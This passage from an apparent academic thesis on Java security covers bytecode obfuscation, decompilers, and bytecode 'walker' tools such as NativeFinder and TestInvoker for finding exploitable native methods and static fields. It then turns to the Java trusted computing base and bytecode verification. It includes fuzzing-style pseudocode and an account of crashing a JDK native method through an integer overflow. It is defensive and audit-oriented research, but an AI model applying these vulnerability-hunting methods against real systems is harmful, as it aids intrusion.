(Laddad, 2003) implementation from Xerox Parc. It consists of a design
part and a runtime part. The design part contributes a new meta type to
the JAVA language, the aspect source construct. Inside an aspect JAVA lan-
guage constructs are used. Additionally AspectJ introduces linking con-
structs between objects and classes that specify how aspects are weaved
into existing classes. The JVM can be started in a standard way, as As-
pectJ does not rely on additional runtime extensions.
AspectWerkz The AspectWerkz (Boner, 2004) toolset bases on Bytecode
engineering. It uses the BCEL to dynamically insert the AOP specific
hooks into existing bytecode. The toolset uses the extension interface pat-
tern to modify the class loading behavior of the underlying JVM. This can
be achieved in a dynamic way by starting multiple JVMs, the first one for
the weaving process and the second one for executing the modified byte-
code of the application. This configuration can be either run by utilizing
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HotSwap (Sun Microsystems, 2006c) technology or declare additions to
the boot class path. In both approaches the aspects are weaved in during
runtime of the program. Alternatively, AspectWerkz allows static weav-
ing via a post-processing step, and then one JVM process is started with
classes that already have the advices statically mixed in. The second ap-
proach allows starting the JVM without relying on a second JVM process
and does not need special environmental settings for the JVM.
4.4 Tools based on bytecode engineering
Besides compiling from source code to bytecode there is also demand to
transform existing bytecode for multiple purposes. A widely known ap-
proach is used by tools that support the integration of aspect-oriented pat-
terns into the java language. AOP source code patterns like pointcuts are
inserted into bytecode by integrated specific intercepting code patterns at
the start and the end of methods.
Other applications of bytecode engineering closely related to AOP sup-
porting explicit the aspect are performance tools such as code profilers.
Profilers add intercepting code to collect timestamps and other metadata
such as object allocation calls to analyze code for performance tuning po-
tentials To provide broad control flow coverage of the code a combination
with testing environments such as JUnit (JUnit Project, 2005) or JCover-
age(jcoverage ltd, 2005) is often chosen.
In addition to the runtime aspect of bytecode manipulating static anal-
ysis aims to discover patterns in code such as code parts that influences
code quality that in parts is relevant for our main discussion thread, the
detection of code parts that impact security.
4.4.1 Obfuscators
Developers of closed-sourced algorithms are interested in keeping those
algorithms secret. Therefore, it is a common approach to use code ob-
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fuscators to perform transformations. Those include type confusion and
permutation of the parameters on the calling stack, and techniques that
prevent that code is easily to reconstruct. Important examples are the
JSSE crypto libraries of the JDK that enforce export regulations and pro-
tect trade secrets by obfuscation to prevent retrieval of usable source code
to the unprivileged eye.
Obfuscation has a natural limit as class files still have to follow the rules
of the virtual machines bytecode verifier. As a result the visibility, stack
balance and object type assignment rules cannot be undermined by an
obfuscator as they will be refused when a loading a obfuscated file into the
JVM. Another disadvantage of obfuscation is the enhanced effort for the
bytecode compiler to apply optimizations. For instance type ambiguities
introduced by the obfuscator, force the bytecode compiler to assume a less
derived object than in the original code, which leads control flow through
additional runtime checks.
An obfuscator uses the following techniques:
Identier Name Mangling: The JVM does not need useful names for Meth-
ods and Fields. They can be renamed to single letter identifiers
Constant Pool Value Mangling: The constant pool value entries are decryp-
ted during runtime.
Control ow obfuscation: The obfuscator inserts phantom variables and
performs scrambling of the stack. By assuming the default values of
fields, the inserted branch instructions are never or always executed.
Obfuscation introduces a set of problems:
• Constant value mangling implies processing overhead due to the
additional method call of an deobfuscatename method in each re-
trieval from constant pool
• In the case of dynamic class loading, the linking step may behave
different. The altered class names may break reflection calls like
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Class.forName("Account"). These will fail as the class name
(like Account) is known in the obfuscated program only by an ob-
fuscated alias (like b161231)!
• An altered control flows introduced by the obfuscator breaks pat-
terns that can be recognized by JIT-engines for optimization
The effects of obfuscation are depicted in Table 4.2. The code added
to the original method to obfuscate the constant pool strings is shown in
Figure 4.9.
Method java.lang.String deobfuscateName(
java.lang.String)
0 aload_0
1 invokevirtual #56
<Method char toCharArray()[]>
4 astore_1
5 aload_1
6 arraylength
7 istore_2
8 iconst_0
9 istore_3
10 goto 80
13 aload_1
14 iload_3
15 dup2
16 caload
17 iload_3
18 iconst_5
19 irem
20 tableswitch 0 to 3: default=72
52 ldc #48 <Integer 53>
54 goto 74
57 ldc #49 <Integer 37>
59 goto 74
62 ldc #50 <Integer 123>
64 goto 74
67 ldc #51 <Integer 21>
69 goto 74
72 ldc #52 <Integer 97>
74 ixor
75 i2c
76 castore
77 iinc 3 1
80 iload_3
81 iload_2
82 if_icmplt 13
85 new #1 <Class java.lang.String>
88 dup
89 aload_1
90 invokespecial #59 <Method java.lang.String(char[])>
93 areturn
Figure 4.9: Obfuscating a Name
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public class a extends java.lang.Object {
public static boolean a;
public static boolean b;
public static void main(java.lang.String[]);
public a(java.lang.String);
}
Method void main(java.lang.String[])
0 getstatic #42 <Field boolean b>
3 istore_3
4 iconst_3
5 anewarray class #1 <Class java.lang.String>
8 dup
9 iconst_0
10 ldc #2 <String "cLxt">
12 invokestatic #61 <Method java.lang.String
deobfuscateName(java.lang.String)>
15 aastore
16 dup
17 iconst_1
18 ldc #3 <String "yD\H">
20 invokestatic #61 <Method java.lang.String
deobfuscateName(java.lang.String)>
23 aastore
24 dup
25 iconst_2
26 ldc #4 <String "c@\\t\\R">
28 invokestatic #61 <Method java.lang.String
deobfuscateName(java.lang.String)>
31 aastore
32 astore_1
33 iconst_0
34 istore_2
35 iload_3
36 ifeq 67
39 getstatic #44 <Field boolean a>
42 ifeq 49
45 iconst_0
46 goto 50
49 iconst_1
50 putstatic #44 <Field boolean a>
53 new #5 <Class a>
56 dup
57 aload_1
58 iload_2
59 aaload
60 invokespecial #6
<Method a(java.lang.String)>
63 pop
64 iinc 2 1
67 iload_2
68 aload_1
69 arraylength
70 if_icmplt 53
73 return
Method a(java.lang.String)
0 aload_0
1 invokespecial #7 <Method java.lang.Object()>
4 getstatic #8
<Field java.io.PrintStream out>
7 aload_1
8 invokevirtual #9
<Method java.lang.String toUpperCase()>
11 invokevirtual #10
<Method void println(java.lang.String)>
14 return
public class Viva extends java.lang.Object {
public static void main(java.lang.String[]);
public Viva(java.lang.String);
}
Method void main(java.lang.String[])
0 iconst_3
1 anewarray class #1 <Class java.lang.String>
4 dup
5 iconst_0
6 ldc #2 <String "Viva">
8 aastore
9 dup
10 iconst_1
11 ldc #3 <String "Las">
13 aastore
14 dup
15 iconst_2
16 ldc #4 <String "Vegas">
18 aastore
19 astore_1
20 iconst_0
21 istore_2
22 goto 39
25 new #5 <Class Viva>
28 dup
29 aload_1
30 iload_2
31 aaload
32 invokespecial #6
<Method Viva(java.lang.String)>
35 pop
36 iinc 2 1
39 iload_2
40 aload_1
41 arraylength
42 if_icmplt 25
45 return
Method Viva(java.lang.String)
0 aload_0
1 invokespecial #7 <Method java.lang.Object()>
4 getstatic #8
<Field java.io.PrintStream out>
7 aload_1
8 invokevirtual #9
<Method java.lang.String toUpperCase()>
11 invokevirtual #10
<Method void println(java.lang.String)>
14 return
Table 4.2: Effects of Obfuscation on Method Bytecode
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4.4.2 Decompilers
Decompilers are reverse engineering tools to retrieve source code or pseudo
code from executable-only programs such as JAVA class files.
This allows on the one hand develop interoperability code in the case of
lost source code. On the other hand decompilers endanger the competi-
tive advantage by the exposure of source code for advanced technologies
(Schönefeld, 2007).
An example for the use of decompilers to increase interoperability is
to analyze closed-sourced libraries. For distributed JEE environments de-
compilation of the runtime classes may give hints to the programmer of
occurring incompatiblities on the communication paths. Equipped with
the analysis knowledge of the reconstructed sourcecode he can replace the
found bytecode sequence with a refactored construct. The altered class file
will then prepended to the class path to be loaded instead of the original
class (using the -Xbootclasspath:p option) (Sun Microsystems, 2003b).
4.4.3 Extensions of the JAVA language
The approaches above were concentrating on the bytecode itself. There
exist extensions for the JAVA language to support the need for represent-
ing crosscutting concerns within the JAVA language. When implement-
ing crosscutting functions (such as logging, tracing and authorization) in
an object-oriented language like JAVA, similar code parts are often spread
throughout the source code without coupling. Although these code parts
are similar in structure, it needs high effort to apply the same changes to
these fragments, as there is no semantic coupling between them. Aspect-
orientation fills this semantic gap by providing constructs that express
such a coupling. This approach will be presented later in the text.
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4.4.4 Bytecode detectors
A verification process that performs check on criteria embedded in byte-
code has to perform checks on multiple levels. The bytecode verifier in
the JVM or the verifying class loader for enterprise JAVA beans (EJBs) are
typical usage examples. To detect patterns in bytecode, hierarchical search
algorithms can be applied. This allows detecting specific patterns that oc-
cur on the following hierarchical levels, which are presented with their
characteristics and examples for usage:
• Class walkers
• Field and method walkers
• Instruction walkers
Needed terms
The filters introduced borrow the notion of join points from AOP. They
define the search criterion that is applied to a particular set of executable
code. In the JAVA context, this code is located in class files. A set of
class file is typically bundled in jar files. The set of jar files and single
classes available to an application is known as a class path. The basic set of
classes that is available to the JVM regardless of the executed application
is referred to as the boot classpath. The point cut filters defined in the
next sections identify candidates of differing granularity (classes, fields,
methods or code). The filtering tools that are necessary during penetration
testing and code audit can be subdivided into these categories:
Class Walkers scan class files for global attributes. Typical use caes in-
clude as detecting whether classes are executable via a main method
or expose static variables that can be misused as covert channels.
These covert channels if found in globally available classes such as
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those loaded by the boot class loader may allow applets from differ-
ent sites running in the same JVM to elevate the granted privileges
of their sandbox containment and communicate with each other.
Class Walkers have a low complexity, as the criteria can be verified
in the class related metadata. A detector for classes that implement
custom serialization may check for the declaration of a proper se-
rialization identifier serialVersionUID and the existence of cus-
tomized readObject/writeObject or readExternal/writeExter-
nal methods. Class level detectors do not traverse to the metadata of
the entire set of methods or check for specific bytecode instructions.
Field and Method Walkers filter fields and methods that comply with a
certain criterion such as finding public static methods with a sig-
nature that consists solely of primitive data types. These methods
can be misused in converting bridges to other language environ-
ments such as SQL or different JavaScript/JAVA bindings such as
Liveconnect. Building on the results of MethodWalkers, vulner-
abilities were identified in major JDBC databases. Another filter-
ing tool that was successfully applied to JAVA middleware was the
NativeFinder tool that identified several vulnerable native methods
in the JDK. Field and method walkers traverse through all entities
of their kind. A typical field level detector may check for public
static fields that are non-final. Those fields can be misused as
covert channels by malicious code to force information leakage be-
tween the cells in Chinese wall environments (such as the applet
sandbox). Method level detectors may check for public static meth-
ods that have a platform-specific (indicated by the keyword native)
implementation.Detectors on the field and method level do not tra-
verse into the code blocks of the class.
Bytecode Walkers are the types of detectors that have the highest com-
plexity as they check for patterns in the control flow of methods.
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This is due to the interpretation of the single bytecode instructions
contained in the code blocks of the methods. A typical example for
an instruction level detector is the analysis for privileged code that
is called with user-supplied parameters, which can be misused for
luring attacks by utilizing method control flow by matching specific
value combinations. Bytecode walkers filter the code in methods for
special bytecode patterns that can be helpful for attackers. Examples
are doPrivileged calls, or calls to the methods exec or exit or the
System singleton that allow triggering action on the operating sys-
tem which allow command injection and denial-of-service attacks
via the layer below.
for each <class> c in in rt.jar
for each <method> m in methods and constructors in c
if m has objecttype in signature
if m is public
construct parameters corresponding to signature
if m is static
call m with null for objecttypes
else
create c object
call m with prepared parameters
end if
else
check for indirect call of m (read src.zip, JGrep, decompile)
end if
end if
end for
end for
Figure 4.10: Method walker Example
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4.5 Bytecode engineering libraries
For manipulating bytecode structures a set of broad set of tools exists. On
the library level as shown above the Bytecode Engineering Library (BCEL)
is an open source project by the Apache Software Foundation. It offers a
large set of functionality and is widely used for multiple purposes.
4.5.1 High-level libraries
The following frameworks use bytecode engineering techniques for their
processing purposes:
Sandmark from the University of Colorado (Collberg et al., 2003) is a
framework to demonstrate software-watermarking and obfuscation
usage patterns to a set of class files.
Findbugs from the University of Maryland (Grindstaff, 2004a) is a frame-
work to detect bug patterns by inferring coding errors in the source
from the resulting bytecode.
Soot from the University of Alberta (Vallee-Rai et al., 1999) allows re-
constructing bytecode by applying advanced control flow analyses,
a technique needed by CFG-centric tools such as decompilers and
code optimizers.
4.5.2 Summary
It was shown that the additional metadata structures that are embedded
into java class files could be used to extract interdependencies usable for
further analysis. This analysis may focus either for optimization, intellec-
tual property protection or in our case for data flow that can be harmful
for the quality of the software such as harming security goals. Further-
more, we presented a set of frameworks that were designed to handle and
transform class files while maintaining their verifiability.
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4.5.3 Bytecode engineering for Penetration Testing
The foundations for penetration testing (PT) were presented in Chap-
ter 2.1.13. This section develops a toolset that supports the information
gathering step of PT applied to JAVA based applications and middleware.
The presented tools generate sets of candidates that can be used by attack-
ers to harm the security of an application.
Identified candidates are then checked in a deeper analysis by auto-
mated or manual exploit penetration testing. Bytecode engineering avoids
the ambiguities of analyzing source code. Typically not all components
that shall be tested are available in source code form. Therefore, the PT
toolset presented here is based on bytecode engineering. The generic
structure of a bytecode oriented tool for PT is based on the visitor pat-
tern (Gamma et al., 1995) to walk through the hierarchical structure of
class files and check for vulnerability patterns either in byte code or in
metadata. For first implementations of these walkers the BCEL was cho-
sen as the API offers the generic visitor pattern that can be leveraged as a
foundation for finding the required locations.
Bytecode engineering can be used to identify candidates, that fit to pat-
tern that potentially lead to vulnerabilities.
The NativeFinder A NativeFinder is a tool to filter the native methods
in a given classpath. If a method allows public access, this method may
be exploited by malicious code. An attacker may invoke it with boundary
parameters such as long strings and invalid long sizes. Even when the na-
tive method is private an indirect call via an intermediate public method
should be taken into account. An attacker who has access to the bytecode
could analyze control flow to retrieve parameter configurations that force
the control flow in the public method to be directed to the native method.
As an example of this approach were retrieved paths to native methods
via a number of public methods in the java.util.zip package. Each of
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these methods called a private native method updateBytes that was vul-
nerable to an invalid buffer size invocation due to unvalidated parameters
in the JNI method. The call to the native method was vulnerable to an
integer addition overflow bug, as the guarding public methods allowed to
be called with special parameters. This caused the invoked native method
subsequently to crash. The standalone NativeFinder processing logic has
been reused in the JDetectNativeFinder detector.
The StaticsFinder A StaticsFinder is used to detect static fields that can
be influenced from user code. The tool is a candidate detector for the
Modied Statics Antipattern. As the FieldWalker tool is similar in inherent
functionality to the NativeFinder, it detects static fields with inappropriate
protection against modification. It applies the visitor pattern to the fields
in all the class files in a given class path. Furthermore, it detects non-
final public static fields as well as final static mutable containers, which
cannot be modified themselves but allow modification of the elements
as JAVA until version 1.4 is lacking a standard construct to lock up data
in collections. The standalone StaticsFinder is functionally equal to the
decision logic of a set of default detectors with the FINDBUGS framework.
JDETECT, an generalisation of the detection concept of the is presented
in Chapter 9.1.
4.5.4 Exploit generation
Bytecode engineering is useful to identify candidates complying to pat-
terns that potentially lead to vulnerabilities. Automation of tests helps to
process complex hierachies of class and methods, which is typical for the
JDK and also for application server products.
The TestInvoker A TestInvoker can be used to test methods identified
as candidates by filtering tools such as the NativeFinder by following a
master-slave pattern. Automated bytecode assembling allows generating
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penetration testing programs with appropriate parameters. Implementa-
tion details of a TestInvoker implementation in a penetration test context
JAVA context would cover visibility adjustments of the involved methods
and classes. JNIFUZZ, an implementation of the TestInvoker concept is
presented in Chapter 9.2.
4.6 Summary
In this chapter, we have derived the helpfulness of a deeper insight into
the inner structures of class files of the JAVA runtime platform. Their
logical structures can be analyzed by bytecode engineering, even with-
out having access to source code. First, a range of detection methods for
code pattern was presented and approaches were shown to detect bugs di-
rectly from bytecode structures. During penetration tests, the presented
approaches and tools provide helpful starting points to identify vulnera-
bilities within frameworks and applications.
5 JAVA and Security
JAVA is a programming language that supports a broad range of security
concepts and technologies (Gong, 1999). These are bundled in the JDK
standard distribution to enhance the TCB for JAVA Applications.
In multi-tiered environments such as the JAVA Enterprise Edition, secu-
rity is needed on multiple tiers. Enterprise applications depend on config-
urable connectivity between these tiers. In this chapter, the several tiers
and the interdependencies between the JRE (Sun Microsystems, 2006b)
platform security features and the JEE (Shannon, 2003) security mecha-
nisms are presented. We first show the JAVA system security features that
provide a base for runtime integrity. Policy enforcement managed by the
JAVA TCB builds the security fundament. In this context, we present the
fundamental security feature of the TCB: code containment. In the later
discussion we continue with the integrity-supporting features like cryptog-
raphy techniques. These provide condentiality by encryption and trans-
port integrity by hashing mechanisms. On this foundation, the Protection
of code and the code access security (CAS) complete the framework related
discussion about system security.
Additional layers such as providers that manage authentication and au-
thorization accompany the fundamental security functionality. On this
level, the identity of the current user is checked. The JAAS (JAVA Authen-
tication and Authorization Service) framework is able to permit and deny
actions based on the security policy by evaluating the credentials of the
user.
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Figure 5.1: JEE stereotypes
5.1 JAVA programming
The JAVA programming language is a commonly used platform to de-
velop distributed object-oriented systems. The initial roots of JAVA stem
from the programming language Oak (First Person Incorporated, 1994),
both are initially designed by James Gosling. The default JAVA 2 standard
edition (J2SE) includes standard networking libraries, naming functional-
ity and language constructs for remote computing. Learning from other
object-oriented languages already existed that were primarily used to build
distributed systems. Languages like C++ and had no concepts for runtime
security. In contrast, JAVA was inspired by the safety concepts of Ada (De-
war, 2004). These were designed from the beginning with security goals
in mind. It already provides with the built-in runtime libraries a broad
range of applicability. JAVA focuses on a holistic approach providing a
unique programming environment from the client over the middleware
layer to the activation framework and the service providers in the back-
end. Despite of the existence of other programming languages that are
more suitable for specific tasks such as C/C++ for fast server execution
times, PHP for dynamic web pages, Python for rapid prototyping, JAVA
is often preferred due to homogeneity in development and the holistic
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and portable approach. Therefore, many companies chose JAVA as their
primary programming environment for building business applications.
5.1.1 Programming language
JAVA is an object-oriented programming language, designed from the be-
ginning to fulfill security goals. In contrast to it predecessors C and C++,
the JAVA programming language has no explicit constructs to allocate
memory, moreover memory is not accessible on itself, only typed objects
and arrays are allocatable on a logical help, whereas parameters are passed
on the stack. In opposite to C/C++ strict type conversion rules exist that
block arbitrary casting between object types on both the language (Java)
and the runtime (bytecode) semantics.
5.1.2 Standard libraries
J2SE bundles the standard runtime classes in pre-deployed libraries, which
in the reference implementation of Sun is located in the rt.jar archive
file. Pre-built container data types and a collections framework allow appli-
cation programmers to reuse frequently used design patterns. Default im-
plementations in the JAVA security framework for encryption and check-
sum calculations allow adapting applications to security goals, such as
confidentiality and integrity. The runtime libraries also provide standard
packages for performing remote method invocation.
5.1.3 Runtime environment
JAVA programs are executed in a virtual machine, which enforces correct
types of operands and correct stack balances. This guarantees that the
quality of type-safety is not alone a task of the compiler. The JVM utilizes
metadata that is stored in addition to the actual instructions. These are
called bytecode, due to their byte-length instruction size. Before the ex-
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Type Runtime Requirements Policy Type
Applet (Sun Microsys-
tems, 2006a)
JAVA Browser
Plug-in
Containment Predefined Applet Pol-
icy
Standalone Application JRE Program integrity Custom Policy
Servlets (Coward and
Yoshida, 2003) and
JAVA Server Pages
(Pelegri-Llopart, 2001)
Servlet-Container Resource, Authen-
tication, User Data
Constraints
Servlet policy, web.xml
Enterprise Beans
(DeMichiel et al., 2001)
EJB-Container Roles to Methods map-
ping
Deployment descriptor
JNLP-Client (Shannon,
2003)
Web-Start Containment AllPermissions or JNLP
application client policy
Table 5.1: Stereotypes of executable JAVA programs
ecution, the bytecode is verified by the JVM to eliminate the chance for
attackers to inject malicious code portions in transmitted class files.
The bytecode protection and un-protection techniques are further dis-
cussed in the context of bytecode engineering, see Chapter 4.2.
5.1.4 Program types and security requirements
The stereotypes of JAVA programs shown in Table 5.1.4 have individual
security requirements (Figure 5.1).
Applets are GUI oriented JAVA programs supposed to run in the JAVA
plugin. This is a content handler, activated in web browsers, respon-
sible to support the execution of applet resources tagged with the
application/x-java-vm multimedia extension. The applet class-
loader assigns codebases to the predefined standard applet protec-
tion domain (the sandbox). If applets are equipped with a special
proof of trust in the form of a RSA digital certificate, the user may
assign extended rights as requested by the applet.
Standalone Applications are started from the command line and are not
limited in their permissions by default. By specifying a policy file
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during start up a more restrictive security manager is observing the
access to critical resources.
Servlets and JAVA Server Pages are executed by servlet containers to de-
liver dynamic web pages. Servlets are normal JAVA classes that
have to implement servlet specific methods whereas JAVA server
pages (JSP) are HTML pages enriched by the embedded dynamic
elements (tags) and JAVA code fragments. A JSP is compiled by
a compiler that translates JSP source code via code transformation
into JAVA source into a standard servlet class. The current servlet
container implementations define default protection domains with
limited permissions.
Enterprise JAVA Beans are the executable elements in JEE application serv-
ers. Several types of beans are defined: Session Beans are used rep-
resent the flow of control assigned to a user. Entity Beans represent
enterprise resources like datasets stored in a database. Message-
Driven Beans are triggered by queuing systems. Enterprise JAVA
Beans are limited by the default policy defined by the JEE container.
JNLP clients are special JAVA standalone executables that follow the JNLP
specification. JNLP stands for JAVA Network Launching Protocol.
It enables users to start a remotely stored application via a JNLP
descriptor file on the local system. The descriptor file contains the
needed JAVA archives, the recommended JAVA runtime version and
other settings. The JAVA Webstart Application launcher handles the
descriptor file. The contained metadata describes the download lo-
cation and version information of the archives. The launcher ap-
plies this data while starting the JVM with the classpath specified in
the descriptor file. JNLP defines a default protection domain that is
upgradeable by code signing to the AllPermission protection do-
main.
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5.2 The JAVA Trusted Computing Base
According to Appel and Wang (2002) the design of type-safe languages is
based on two basic principles, type-safety and Capability Engineering:
Type-Safety covers the enforcement of legal type casts and visibility rules.
Capability Engineering provides the needed functionality for all program
types by defining interfaces to the provided APIs. As the security
restrictions between applications may differ (applets running the
JAVA Browser Plug-in have more restrictive runtime policy restric-
tions than JEE application clients deployed with JNLP), the runtime
environment has to adapt to these differing permission sets and
therefore has to grant or deny access to the capabilities in accor-
dance to the security policy in place.
Threats to the TCB
Real life threats that compromise type-safety of the JVM can occur in the
bytecode verification process, such as permitting to create fully or partially
uninitialized objects (LSD, The last Stage of Delirium, 2002), which could
be used for exploitation purposes.
Bugs in the garbage collector may lead to denial-of-service conditions
(see Appendix) and trusted API extension classes could allow direct ac-
cess to system memory. These vulnerabilities are due to programming
antipatterns that will be presented later in the text.
Additional threats have occurred in the implementation of Capability
Engineering. By circumventing the security checks, which are embedded
in the control flow (according to the check point pattern) an attacker may
bypass system security rules. He may utilize covert channels to trigger
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privilege code fragments in trusted API routines. An example is a vulner-
ability in the database component of the JBoss application server that can
be triggered by sending handcrafted JDBC packets in order to start exe-
cutable programs (Secunia, 2003).
Appel and Wang give a definition for a trusted computing base:
Definition 24 (Java TCB): The portion of the system in which any bug might
lead to a security hole.(Appel and Wang, 2002)
In contrast to a bug within the TCB, a bug outside of it leads to functional
incorrect behavior but in terms of the Clark-Wilson model keeping a valid
system state in accordance to the security policy. A functional bug there-
fore does not necessarily trigger an insecure system state.
The main purpose of a JAVA Virtual Machine is providing an abstract
hardware as an execution environment for JAVA applications. The orange
book definition of a TCB as shown in Chapter 10 can also be applied to
the parts in the JAVA security architecture.
According to Appel and Wang the TCB of the runtime of a type-safe
language can be subdivided into two distinct parts, the capability TCB and
the safety TCB.
The safety TCB consists of all components which if buggy could compro-
mise type safety. In the case of JAVA this applies to the interpreter
or the JIT compiler (not the source-to-bytecode compiler), the byte-
code verifier, the garbage collector, the core runtime system and
additional type-unsafe libraries. This includes native code written
in C or C++ following the JNI specifications.
The capability TCB includes APIs that access external resources such as
sockets or files. Program code is verifiable with mathematical prov-
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C the JIT-Engine, responsible to transform bytecode into native machine
instructions, the bytecode verifier and the components responsible for
resolving references during linking
GC Garbage Collector which is responsible for managing the allocation and
release of JAVA objects and management of the associated memory blocks
CR core runtime system which is the minimal part of the JVM responsible
for running a JAVA programs (minimal API)
UL type-unsafe libraries not written in JAVA that support the APIs by cou-
pling them to native resources, such as supporting native code in associ-
ated shared objects or dynamic linking libraries for socket communica-
tion or the graphical user interface (AWT)
TL type-safe and security critical runtime routines in the JAVA libraries, parts
of the security enforcement systems which are not in CR
Table 5.2: Parts of the TCB
able elements, which is the base for proof-carrying code (PCC). JAVA
does not use PCC mechanisms. In the case of PCC the JIT compiler
and the bytecode verifier could be kept outside of the TCB, instead a
verification-condition generator, a proof checker and the underlying
axioms and rules have to be incorporated in the TCB.
Applying these foundations to the JAVA architecture Appel and Wang
identified the different components of the JAVA architecture to be part of
the safety TCB. The security TCB consists of the safety TCB and addition-
ally includes the parts of the capabilities TCB. The single components are
shown in Table 5.2.
TCBSafety = C +GC + CR
TCBSecurity = TCBSafety + UL+ TL
Summary
The concept of the trusted computing base (TCB) helps distinguishing
between security critical and uncritical issues. This bases on the criteria
whether the TCB is affected in its protection state.
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5.2.1 The TCB within the JRE
Applying the concept of TCB to the JAVA programming environment, the
JAVA compiler is not part of the TCB, as a bug in the compiler does not
necessarily lead to a security hole. To enforce the runtime security is the
task of the bytecode verifier, which as part of the TCB is responsible to
check the classes transferred to the virtual machine for conformance to
the security policy. From the perspective of software engineering, keeping
the compiler out of the TCB adds an additional degree of freedom in the
choice of the used toolset. This placement of the compiler allows any
untrusted code emitter such as the Jython compiler for the Python dialect
for the JVM, which emits JAVA bytecode (Jython Project, 2005). The same
consideration applies to bytecode engineering utilities; most important is
the BCEL, which allows generating JAVA bytecode to enhance the code
generation flexibilities as the contract bases on verifiable bytecode. With
BCEL, the programmer has himself to take care of the constraints checked
by the bytecode verification step.
5.2.2 Security conguration settings of the JRE
Although standard and enterprise JAVA environments store their policy
configuration data in default places, application instance specific security
settings are assignable via additional parameters such as command-line
settings. These policy settings are applicable in addition to the default
security settings or may completely replace them via an extension inter-
face. Security settings subdivide in security property settings and pol-
icy settings. Properties settings are key/value pairs that define providers.
Providers are components that implement a service provider interface
(SPI). In Table 5.3 the detailed locations of the JVM security settings are
shown.
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Environment Parameter type Configuration file
J2SE properties Security providers, policy providers, package cre-
ation and access configuration and keystore defi-
nitions
java.security
J2SE policy settings Permission associated to evidence (codebase)
and principal-based (signature) code
java.policy
.java.policy
J2EE security de-
ployment
EJB, JSP and Servlets security settings for au-
thentication and delegation, role definitions, Ac-
cess Control Lists (ACLs) and transport security
(such as SSL) configuration
web.xml
ejb-jar.xml
Table 5.3: Security Configuration parameters
5.2.3 Trusted JAVA program
According to Gong (2002) a trusted program is either a
• A program running in the AllPermissions protection domain, there-
fore not under a limiting control of a restricted policy enforced by
the SecurityManager, or
• An applet or other executable JAVA process with the appropriate
rights to modify settings of the trusted computing base, i.e. alter
the system properties
Successful verification of the signature of the creator of the remote code
establishes the necessary trust.
5.3 Code Containment
The JAVA virtual machine is based on a stack oriented and contained ex-
ecution model, which implies that code is verified prior execution to sup-
port the language security feature (Kozen, 1999) of the JAVA program-
ming language. The format of the portable JAVA bytecode is a standard
established by the JVM specification (Lindholm and Yellin, 1997) and is
augmented by a detailed bytecode verification process.
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The verification process acts following the check point pattern and in-
cludes:
• Stack balance checks against malicious overflow and underflow stack
operations
• Structural and parameter type checks
• Checks that objects are always initialized prior usage
• Checks that array operations are restricted to valid bounds,
• Assignments are performed with objects of proper types and acces-
sibility restrictions are obeyed
Access to system memory is blocked for non-privileged code by a con-
tained model, as there exist neither JAVA language constructs nor JVM
bytecode instructions that directly handle or allocate system memory. These
precautions allow JAVA programs to execute in a safe container as it pre-
vent flaws known from the C language such as off-by-ones, buffer over-
flows (Koziol et al., 2004) by design. Nevertheless, the verifier in the JAVA
Runtime Environment is implemented with 4077 lines of C code (Paul
and Evans, 2004), so errors in these routines may allow an attacker to by-
pass the JAVA security architecture.
There is a distinct exception to this rule. The class sun.misc.Unsafe
class allows manipulating system memory from a few privileged system
classes such as those for the JAVA reflection API and object serialization.
As application code is not allowed to access this class directly, this class
creates no covert channel. In a later chapter it will be shown that these
measures cannot guarantee total blockage of system memory access when
trusted code granted the AllPermission permission is prone to the Con-
vert Channel antipattern (see Chapter 8.4). This is the case when the vul-
nerable extension packages of the JAVA Media Framework are added as an
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extension library in the jre/lib/ext directory. This increases the attack
surface of to the TCB of the JAVA virtual machine.
The main task of the JAVA virtual machine is executing the embedded
methods in class files, besides verifying byte buffers from class loaders to
the set of correct class file constraints. A virtual machine may perform im-
plementation dependent optimization of the code on certain hotspot code
fragments, and partially or in total compile bytecode to native code in or-
der to gain performance in repetitive execution, which is of importance for
server applications. In those environments, typically a JAVA server JVM
is chosen. Whichever optimizations are performed, the original bytecode
security information and stack balances and sequences are kept to keep
the original semantics and perform consistent security decisions in the
case of differing optimization approaches.
5.3.1 Bytecode verication
JAVA Bytecode verification (JBV) is a multi-step process to determinate the
membership of a bytebuffer to the set of correct class files. According to
Durbin et al. (1997) the problem of determining the correctness of class
files is undecidable at load time; the goal of total static correctness was
not followed by the designers of the bytecode verifier. Therefore, the vir-
tual machine also accepts classes as verifiable that are not correct, which
implies the need for additional checks when references are resolved. The
JBV process includes assignment analysis and type cast checking, array
bounds checking and other dynamic structure checks to ensure the cor-
rectness of classes to the JAVA language specification. An informal specifi-
cation of the JBV process is located in Lindholm and Yellin (1997), a more
formal approach is expressed by Coglio et al. (1998). For certain environ-
ments with special constraints to timing such as real time requirements,
costs and efficiency restrictions such as in embedded devices or control
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Figure 5.2: Class Files Categorization scheme
instant response systems the scope and strategy of JBV may differ from
the strategy described in the JVM spec.
5.3.2 Bytecode verication steps
The four steps of JBV in the JDK reference implementation by Sun are
performed as follows, the steps are also depicted in Figure 5.3:
1. The first step is not concerned with bytecodes themselves. It is per-
formed directly after loading a bytearray and is responsible for initial
checks of the proper static format and performing all verifications
that do not need an in-depth view into the bytecode. This includes
checking the magic constant number 0xCAFEBABE in the first 64
bits of the classfile and the correct length of all recognized attributes.
The class file itself has to be in proper length and must not contain
additional bytes appended. The first JBV step is to establish an ini-
tial level of trust by recognizing the structure in the bytearray as a
valid class file with valid length attributes.
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Figure 5.3: Bytecode verification
2. The second verification step checks the single parts of the byte ar-
ray structure for correctness, such as the constant pool. The actions
include static completeness checks for required attributes such as
referring to a correct type, class or name descriptor when declaring
fields and methods. This step enforces proper super class relation-
ships between declared classes (which has to at least inherit from
the root class java.lang.Object) of the JAVA type hierarchy. En-
forcement of the final modifier forbids declaring subclasses from
final classes. The second verification step does not resolve class ref-
erences. Therefore, missing classes called from code in the class are
not detected.
3. The third step is the core bytecode verification and involves checks
on the bytecode sequence. This includes verifying static constraints
such as verifying the maximum local variable count and asserting
structural constraints for analyzing data flow. Data flow analysis
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includes correctness of object initialization, proper usage of wide
(long, double) data types and subroutine handling. The third ver-
ification step can be divided in check of static and dynamic con-
straints. The static checks include correctness of the control flow of
the bytecode such as rejecting jumps that do not direct to the be-
ginning of a statement or jump beyond the address range of the
current method. They reject access to local variables with an index
larger than the largest index of a local variable, which is annotated
in the metadata for every method. The dynamic constraints check
the flow of data on the stack such as verifying whether the stack bal-
ance is valid on all paths of a method. Local variables are checked
before they undergo a read access whether an initialization with a
proper type has occurred in beforehand in the control flow. A de-
tailed list on all checks performed in this stack can be found in the
JVM specification (Lindholm and Yellin, 1997).
4. The last and fourth step of JBV is delayed until the actual execution
